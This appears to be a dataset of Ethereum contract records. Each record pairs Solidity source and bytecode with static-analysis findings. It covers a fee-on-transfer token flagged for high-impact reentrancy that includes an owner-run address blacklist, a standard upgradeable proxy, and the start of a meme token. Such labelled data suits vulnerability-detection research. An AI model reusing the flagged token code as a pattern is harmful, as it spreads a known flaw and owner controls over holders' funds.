bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106101235760003560e01c806370a08231116100a0578063a9059cbb11610064578063a9059cbb14610342578063b87f137a14610362578063c3c8cd8014610382578063c9567bf914610397578063dd62ed3e146103ac57600080fd5b806370a08231146102a0578063715018a6146102c0578063751039fc146102d55780638da5cb5b146102ea57806395d89b411461031257600080fd5b8063273123b7116100e7578063273123b71461020f578063313ce5671461022f5780635932ead11461024b578063677daa571461026b5780636fc3eaec1461028b57600080fd5b806306fdde031461012f578063095ea7b31461017757806318160ddd146101a75780631b3f71ae146101cd57806323b872dd146101ef57600080fd5b3661012a57005b600080fd5b34801561013b57600080fd5b5060408051808201909152600d81526c223932b0b69027b31022b637b760991b60208201525b60405161016e9190611735565b60405180910390f35b34801561018357600080fd5b506101976101923660046117af565b6103f2565b604051901515815260200161016e565b3480156101b357600080fd5b50683635c9adc5dea000005b60405190815260200161016e565b3480156101d957600080fd5b506101ed6101e83660046117f1565b610409565b005b3480156101fb57600080fd5b5061019761020a3660046118b6565b6104a8565b34801561021b57600080fd5b506101ed61022a3660046118f7565b610511565b34801561023b57600080fd5b506040516009815260200161016e565b34801561025757600080fd5b506101ed610266366004611922565b61055c565b34801561027757600080fd5b506101ed61028636600461193f565b6105a4565b34801561029757600080fd5b506101ed6105ff565b3480156102ac57600080fd5b506101bf6102bb3660046118f7565b61062c565b3480156102cc57600080fd5b506101ed61064e565b3480156102e157600080fd5b506101ed6106c2565b3480156102f657600080fd5b506000546040516001600160a01b03909116815260200161016e565b34801561031e57600080fd5b5060408051808201909152600781526646524545444f4d60c81b6020820152610161565b34801561034e57600080fd5b5061019761035d3660046117af565b610700565b34801561036e57600080fd5b506101ed61037d36600461193f565b61070d565b34801561038e57600080fd5b506101ed610762565b3480156103a357600080fd5b506101ed610798565b3480156103b857600080fd5b506101bf6103c7366004611958565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b60006103ff338484610b4b565b5060015b92915050565b6000546001600160a01b0316331461043c5760405162461bcd60e51b815260040161043390611991565b60405180910390fd5b60005b81518110156104a457600160066000848481518110610460576104606119c6565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061049c816119f2565b91505061043f565b5050565b60006104b5848484610c6f565b610507843361050285604051806060016040528060288152602001611b57602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611062565b610b4b565b5060019392505050565b6000546001600160a01b0316331461053b5760405162461bcd60e51b815260040161043390611991565b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146105865760405162461bcd60e51b815260040161043390611991565b600e8054911515600160b81b0260ff60b81b19909216919091179055565b6000546001600160a01b031633146105ce5760405162461bcd60e51b815260040161043390611991565b600081116105db57600080fd5b6105f960646105f3683635c9adc5dea000008461109c565b90611122565b600f5550565b600c546001600160a01b0316336001600160a01b03161461061f57600080fd5b4761062981611164565b50565b6001600160a01b0381166000908152600260205260408120546104039061119e565b6000546001600160a01b031633146106785760405162461bcd60e51b815260040161043390611991565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146106ec5760405162461bcd60e51b815260040161043390611991565b683635c9adc5dea00000600f819055601055565b60006103ff338484610c6f565b6000546001600160a01b031633146107375760405162461bcd60e51b815260040161043390611991565b6000811161074457600080fd5b61075c60646105f3683635c9adc5dea000008461109c565b60105550565b600c546001600160a01b0316336001600160a01b03161461078257600080fd5b600061078d3061062c565b90506106298161121b565b6000546001600160a01b031633146107c25760405162461bcd60e51b815260040161043390611991565b600e54600160a01b900460ff161561081c5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610433565b600d80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556108593082683635c9adc5dea00000610b4b565b806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610897573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108bb9190611a0d565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610908573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061092c9190611a0d565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610979573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061099d9190611a0d565b600e80546001600160a01b0319166001600160a01b03928316179055600d541663f305d71947306109cd8161062c565b6000806109e26000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610a4a573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a6f9190611a2a565b5050600e805461ffff60b01b191661010160b01b17905550610aa060646105f3683635c9adc5dea00000600261109c565b600f55610abc60646105f3683635c9adc5dea00000600361109c565b601055600e8054600160a01b60ff60a01b19821617909155600d5460405163095ea7b360e01b81526001600160a01b039182166004820152600019602482015291169063095ea7b3906044016020604051808303816000875af1158015610b27573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104a49190611a58565b6001600160a01b038316610bad5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610433565b6001600160a01b038216610c0e5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610433565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610cd35760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610433565b6001600160a01b038216610d355760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610433565b60008111610d975760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610433565b6000600a818155600b55546001600160a01b03848116911614801590610dcb57506000546001600160a01b03838116911614155b15611052576001600160a01b03831660009081526006602052604090205460ff16158015610e1257506001600160a01b03821660009081526006602052604090205460ff16155b610e1b57600080fd5b600e546001600160a01b038481169116148015610e465750600d546001600160a01b03838116911614155b8015610e6b57506001600160a01b03821660009081526005602052604090205460ff16155b8015610e805750600e54600160b81b900460ff165b15610f8557600f54811115610ed75760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e000000000000006044820152606401610433565b60105481610ee48461062c565b610eee9190611a75565b1115610f3c5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610433565b6001600160a01b0382166000908152600760205260409020544211610f6057600080fd5b610f6b42601e611a75565b6001600160a01b0383166000908152600760205260409020555b600e546001600160a01b038381169116148015610fb05750600d546001600160a01b03848116911614155b8015610fd557506001600160a01b03831660009081526005602052604090205460ff16155b15610fe5576000600a908155600b555b6000610ff03061062c565b600e54909150600160a81b900460ff1615801561101b5750600e546001600160a01b03858116911614155b80156110305750600e54600160b01b900460ff165b156110505761103e8161121b565b47801561104e5761104e47611164565b505b505b61105d838383611395565b505050565b600081848411156110865760405162461bcd60e51b81526004016104339190611735565b5060006110938486611a8d565b95945050505050565b6000826110ab57506000610403565b60006110b78385611aa4565b9050826110c48583611ac3565b1461111b5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610433565b9392505050565b600061111b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506113a0565b600c546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156104a4573d6000803e3d6000fd5b60006008548211156112055760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610433565b600061120f6113ce565b905061111b8382611122565b600e805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110611263576112636119c6565b6001600160a01b03928316602091820292909201810191909152600d54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156112bc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112e09190611a0d565b816001815181106112f3576112f36119c6565b6001600160a01b039283166020918202929092010152600d546113199130911684610b4b565b600d5460405163791ac94760e01b81526001600160a01b039091169063791ac94790611352908590600090869030904290600401611ae5565b600060405180830381600087803b15801561136c57600080fd5b505af1158015611380573d6000803e3d6000fd5b5050600e805460ff60a81b1916905550505050565b61105d8383836113f1565b600081836113c15760405162461bcd60e51b81526004016104339190611735565b5060006110938486611ac3565b60008060006113db6114e8565b90925090506113ea8282611122565b9250505090565b6000806000806000806114038761152a565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506114359087611587565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461146490866115c9565b6001600160a01b03891660009081526002602052604090205561148681611628565b6114908483611672565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516114d591815260200190565b60405180910390a3505050505050505050565b6008546000908190683635c9adc5dea000006115048282611122565b82101561152157505060085492683635c9adc5dea0000092509050565b90939092509050565b60008060008060008060008060006115478a600a54600b54611696565b92509250925060006115576113ce565b9050600080600061156a8e8787876116e5565b919e509c509a509598509396509194505050505091939550919395565b600061111b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611062565b6000806115d68385611a75565b90508381101561111b5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610433565b60006116326113ce565b90506000611640838361109c565b3060009081526002602052604090205490915061165d90826115c9565b30600090815260026020526040902055505050565b60085461167f9083611587565b60085560095461168f90826115c9565b6009555050565b60008080806116aa60646105f3898961109c565b905060006116bd60646105f38a8961109c565b905060006116d5826116cf8b86611587565b90611587565b9992985090965090945050505050565b60008080806116f4888661109c565b90506000611702888761109c565b90506000611710888861109c565b90506000611722826116cf8686611587565b939b939a50919850919650505050505050565b600060208083528351808285015260005b8181101561176257858101830151858201604001528201611746565b81811115611774576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461062957600080fd5b80356117aa8161178a565b919050565b600080604083850312156117c257600080fd5b82356117cd8161178a565b946020939093013593505050565b634e487b7160e01b600052604160045260246000fd5b6000602080838503121561180457600080fd5b823567ffffffffffffffff8082111561181c57600080fd5b818501915085601f83011261183057600080fd5b813581811115611842576118426117db565b8060051b604051601f19603f83011681018181108582111715611867576118676117db565b60405291825284820192508381018501918883111561188557600080fd5b938501935b828510156118aa5761189b8561179f565b8452938501939285019261188a565b98975050505050505050565b6000806000606084860312156118cb57600080fd5b83356118d68161178a565b925060208401356118e68161178a565b929592945050506040919091013590565b60006020828403121561190957600080fd5b813561111b8161178a565b801515811461062957600080fd5b60006020828403121561193457600080fd5b813561111b81611914565b60006020828403121561195157600080fd5b5035919050565b6000806040838503121561196b57600080fd5b82356119768161178a565b915060208301356119868161178a565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611a0657611a066119dc565b5060010190565b600060208284031215611a1f57600080fd5b815161111b8161178a565b600080600060608486031215611a3f57600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611a6a57600080fd5b815161111b81611914565b60008219821115611a8857611a886119dc565b500190565b600082821015611a9f57611a9f6119dc565b500390565b6000816000190483118215151615611abe57611abe6119dc565b500290565b600082611ae057634e487b7160e01b600052601260045260246000fd5b500490565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611b355784516001600160a01b031683529383019391830191600101611b10565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220f5785889d50927c461db42c096f1ddd68b1f8d8638c295537a172a1c63d0049164736f6c634300080b0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 3,336 |
0x2f7be7265250f461a36e59372bb65081a24d36d3
|
pragma solidity ^0.5.17;
/**
* @dev This abstract contract provides a fallback function that delegates all calls to another contract using the EVM
* instruction `delegatecall`. We refer to the second contract as the _implementation_ behind the proxy, and it has to
* be specified by overriding the virtual {_implementation} function.
*
* Additionally, delegation to the implementation can be triggered manually through the {_fallback} function, or to a
* different contract through the {_delegate} function.
*
* The success and return data of the delegated call will be returned back to the caller of the proxy.
*/
contract Proxy {
/**
* @dev Delegates the current call to `implementation`.
*
* This function does not return to its internall call site, it will return directly to the external caller.
*/
function _delegate(address implementation) internal {
// solhint-disable-next-line no-inline-assembly
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize())
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(
gas(),
implementation,
0,
calldatasize(),
0,
0
)
// Copy the returned data.
returndatacopy(0, 0, returndatasize())
switch result
// delegatecall returns 0 on error.
case 0 {
revert(0, returndatasize())
}
default {
return(0, returndatasize())
}
}
}
/**
* @dev This is a virtual function that should be overriden so it returns the address to which the fallback function
* and {_fallback} should delegate.
*/
function _implementation() internal view returns (address);
/**
* @dev Delegates the current call to the address returned by `_implementation()`.
*
* This function does not return to its internall call site, it will return directly to the external caller.
*/
function _fallback() internal {
_beforeFallback();
_delegate(_implementation());
}
/**
* @dev Fallback function that delegates calls to the address returned by `_implementation()`. This is equivalent to
* fallback and receive functions in solidity 0.6+
*/
function() external payable {
_fallback();
}
/**
* @dev Hook that is called before falling back to the implementation. Can happen as part of a manual `_fallback`
* call, or as part of the Solidity `fallback` or `receive` functions.
*
* If overriden should call `super._beforeFallback()`.
*/
function _beforeFallback() internal {}
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Converts an `address` into `address payable`. Note that this is
* simply a type cast: the actual underlying value is not changed.
*
* _Available since v2.4.0._
*/
function toPayable(address account) internal pure returns (address payable) {
return address(uint160(account));
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*
* _Available since v2.4.0._
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-call-value
(bool success, ) = recipient.call.value(amount)("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
/**
* @dev This contract implements an upgradeable proxy. It is upgradeable because calls are delegated to an
* implementation address that can be changed. This address is stored in storage in the location specified by
* https://eips.ethereum.org/EIPS/eip-1967[EIP1967], so that it doesn't conflict with the storage layout of the
* implementation behind the proxy.
*
* Upgradeability is only provided internally through {_upgradeTo}. For an externally upgradeable proxy see
* {TransparentUpgradeableProxy}.
*/
contract UpgradeableProxy is Proxy {
/**
* @dev Initializes the upgradeable proxy with an initial implementation specified by `_logic`.
*
* If `_data` is nonempty, it's used as data in a delegate call to `_logic`. This will typically be an encoded
* function call, and allows initializating the storage of the proxy like a Solidity constructor.
*/
constructor(address _logic, bytes memory _data) public payable {
assert(
_IMPLEMENTATION_SLOT ==
bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1)
);
_setImplementation(_logic);
if (_data.length > 0) {
// solhint-disable-next-line avoid-low-level-calls
(bool success, ) = _logic.delegatecall(_data);
require(success);
}
}
/**
* @dev Emitted when the implementation is upgraded.
*/
event Upgraded(address indexed implementation);
/**
* @dev Storage slot with the address of the current implementation.
* This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is
* validated in the constructor.
*/
bytes32
private constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
/**
* @dev Returns the current implementation address.
*/
function _implementation() internal view returns (address impl) {
bytes32 slot = _IMPLEMENTATION_SLOT;
// solhint-disable-next-line no-inline-assembly
assembly {
impl := sload(slot)
}
}
/**
* @dev Upgrades the proxy to a new implementation.
*
* Emits an {Upgraded} event.
*/
function _upgradeTo(address newImplementation) internal {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
/**
* @dev Stores a new address in the EIP1967 implementation slot.
*/
function _setImplementation(address newImplementation) private {
require(
Address.isContract(newImplementation),
"UpgradeableProxy: new implementation is not a contract"
);
bytes32 slot = _IMPLEMENTATION_SLOT;
// solhint-disable-next-line no-inline-assembly
assembly {
sstore(slot, newImplementation)
}
}
}
/**
* @dev This contract implements a proxy that is upgradeable by an admin.
*
* To avoid https://medium.com/nomic-labs-blog/malicious-backdoors-in-ethereum-proxies-62629adf3357[proxy selector
* clashing], which can potentially be used in an attack, this contract uses the
* https://blog.openzeppelin.com/the-transparent-proxy-pattern/[transparent proxy pattern]. This pattern implies two
* things that go hand in hand:
*
* 1. If any account other than the admin calls the proxy, the call will be forwarded to the implementation, even if
* that call matches one of the admin functions exposed by the proxy itself.
* 2. If the admin calls the proxy, it can access the admin functions, but its calls will never be forwarded to the
* implementation. If the admin tries to call a function on the implementation it will fail with an error that says
* "admin cannot fallback to proxy target".
*
* These properties mean that the admin account can only be used for admin actions like upgrading the proxy or changing
* the admin, so it's best if it's a dedicated account that is not used for anything else. This will avoid headaches due
* to sudden errors when trying to call a function from the proxy implementation.
*
* Our recommendation is for the dedicated account to be an instance of the {ProxyAdmin} contract. If set up this way,
* you should think of the `ProxyAdmin` instance as the real administrative interface of your proxy.
*/
contract TransparentUpgradeableProxy is UpgradeableProxy {
/**
* @dev Initializes an upgradeable proxy managed by `_admin`, backed by the implementation at `_logic`, and
* optionally initialized with `_data` as explained in {UpgradeableProxy-constructor}.
*/
constructor(
address _logic,
address _admin,
bytes memory _data
) public payable UpgradeableProxy(_logic, _data) {
assert(
_ADMIN_SLOT ==
bytes32(uint256(keccak256("eip1967.proxy.admin")) - 1)
);
_setAdmin(_admin);
}
/**
* @dev Emitted when the admin account has changed.
*/
event AdminChanged(address previousAdmin, address newAdmin);
/**
* @dev Storage slot with the admin of the contract.
* This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is
* validated in the constructor.
*/
bytes32
private constant _ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;
/**
* @dev Modifier used internally that will delegate the call to the implementation unless the sender is the admin.
*/
modifier ifAdmin() {
if (msg.sender == _admin()) {
_;
} else {
_fallback();
}
}
/**
* @dev Returns the current admin.
*
* NOTE: Only the admin can call this function. See {ProxyAdmin-getProxyAdmin}.
*
* TIP: To get this value clients can read directly from the storage slot shown below (specified by EIP1967) using the
* https://eth.wiki/json-rpc/API#eth_getstorageat[`eth_getStorageAt`] RPC call.
* `0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103`
*/
function admin() external ifAdmin returns (address) {
return _admin();
}
/**
* @dev Returns the current implementation.
*
* NOTE: Only the admin can call this function. See {ProxyAdmin-getProxyImplementation}.
*
* TIP: To get this value clients can read directly from the storage slot shown below (specified by EIP1967) using the
* https://eth.wiki/json-rpc/API#eth_getstorageat[`eth_getStorageAt`] RPC call.
* `0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc`
*/
function implementation() external ifAdmin returns (address) {
return _implementation();
}
/**
* @dev Changes the admin of the proxy.
*
* Emits an {AdminChanged} event.
*
* NOTE: Only the admin can call this function. See {ProxyAdmin-changeProxyAdmin}.
*/
function changeAdmin(address newAdmin) external ifAdmin {
require(
newAdmin != address(0),
"TransparentUpgradeableProxy: new admin is the zero address"
);
emit AdminChanged(_admin(), newAdmin);
_setAdmin(newAdmin);
}
/**
* @dev Upgrade the implementation of the proxy.
*
* NOTE: Only the admin can call this function. See {ProxyAdmin-upgrade}.
*/
function upgradeTo(address newImplementation) external ifAdmin {
_upgradeTo(newImplementation);
}
/**
* @dev Upgrade the implementation of the proxy, and then call a function from the new implementation as specified
* by `data`, which should be an encoded function call. This is useful to initialize new storage variables in the
* proxied contract.
*
* NOTE: Only the admin can call this function. See {ProxyAdmin-upgradeAndCall}.
*/
function upgradeToAndCall(address newImplementation, bytes calldata data)
external
payable
ifAdmin
{
_upgradeTo(newImplementation);
// solhint-disable-next-line avoid-low-level-calls
(bool success, ) = newImplementation.delegatecall(data);
require(success);
}
/**
* @dev Returns the current admin.
*/
function _admin() internal view returns (address adm) {
bytes32 slot = _ADMIN_SLOT;
// solhint-disable-next-line no-inline-assembly
assembly {
adm := sload(slot)
}
}
/**
* @dev Stores a new address in the EIP1967 admin slot.
*/
function _setAdmin(address newAdmin) private {
bytes32 slot = _ADMIN_SLOT;
// solhint-disable-next-line no-inline-assembly
assembly {
sstore(slot, newAdmin)
}
}
}
|
0x60806040526004361061004a5760003560e01c80633659cfe6146100545780634f1ef286146100875780635c60da1b146101075780638f28397014610138578063f851a4401461016b575b610052610180565b005b34801561006057600080fd5b506100526004803603602081101561007757600080fd5b50356001600160a01b031661019a565b6100526004803603604081101561009d57600080fd5b6001600160a01b0382351691908101906040810160208201356401000000008111156100c857600080fd5b8201836020820111156100da57600080fd5b803590602001918460018302840111640100000000831117156100fc57600080fd5b5090925090506101d4565b34801561011357600080fd5b5061011c610281565b604080516001600160a01b039092168252519081900360200190f35b34801561014457600080fd5b506100526004803603602081101561015b57600080fd5b50356001600160a01b03166102be565b34801561017757600080fd5b5061011c610378565b610188610198565b6101986101936103a3565b6103c8565b565b6101a26103ec565b6001600160a01b0316336001600160a01b031614156101c9576101c481610411565b6101d1565b6101d1610180565b50565b6101dc6103ec565b6001600160a01b0316336001600160a01b03161415610274576101fe83610411565b6000836001600160a01b031683836040518083838082843760405192019450600093509091505080830381855af49150503d806000811461025b576040519150601f19603f3d011682016040523d82523d6000602084013e610260565b606091505b505090508061026e57600080fd5b5061027c565b61027c610180565b505050565b600061028b6103ec565b6001600160a01b0316336001600160a01b031614156102b3576102ac6103a3565b90506102bb565b6102bb610180565b90565b6102c66103ec565b6001600160a01b0316336001600160a01b031614156101c9576001600160a01b0381166103245760405162461bcd60e51b815260040180806020018281038252603a81526020018061051a603a913960400191505060405180910390fd5b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f61034d6103ec565b604080516001600160a01b03928316815291841660208301528051918290030190a16101c481610451565b60006103826103ec565b6001600160a01b0316336001600160a01b031614156102b3576102ac6103ec565b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5490565b3660008037600080366000845af43d6000803e8080156103e7573d6000f35b3d6000fd5b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035490565b61041a81610475565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d610355565b61047e816104dd565b6104b95760405162461bcd60e51b81526004018080602001828103825260368152602001806105546036913960400191505060405180910390fd5b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc55565b6000813f7fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a47081811480159061051157508115155b94935050505056fe5472616e73706172656e745570677261646561626c6550726f78793a206e65772061646d696e20697320746865207a65726f20616464726573735570677261646561626c6550726f78793a206e657720696d706c656d656e746174696f6e206973206e6f74206120636f6e7472616374a265627a7a72315820ca73f2557720b39f49adcbfc51dedf341ef331907270d5baf4d40af22084b9fb64736f6c63430005110032
|
{"success": true, "error": null, "results": {}}
| 3,337 |
0xB7888f20642F6Bcab295B48a8a20beDe0f4a3c49
|
// ________ ________ _____ ______ ________ ___ ________ ___ __ ________
// |\_____ \ |\ __ \ |\ _ \ _ \ |\ __ \ |\ \ |\ __ \ |\ \ |\ \ |\ ____\
// \|___/ /|\ \ \|\ \\ \ \\\__\ \ \\ \ \|\ \\ \ \ \ \ \|\ \\ \ \ \ \ \\ \ \___|_
// / / / \ \ __ \\ \ \\|__| \ \\ \ \\\ \\ \ \ \ \ __ \\ \ \ __\ \ \\ \_____ \
// / /_/__ \ \ \ \ \\ \ \ \ \ \\ \ \\\ \\ \ \____ \ \ \ \ \\ \ \|\__\_\ \\|____|\ \
// |\________\\ \__\ \__\\ \__\ \ \__\\ \_______\\ \_______\\ \__\ \__\\ \____________\ ____\_\ \
// \|_______| \|__|\|__| \|__| \|__| \|_______| \|_______| \|__|\|__| \|____________||\_________\
// \|_________|
// Telegram: https://t.me/zamolaws
// Twitter: https://twitter.com/ZamoLaws
// Website: https://zamolaws.com
// Good luck! :D
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
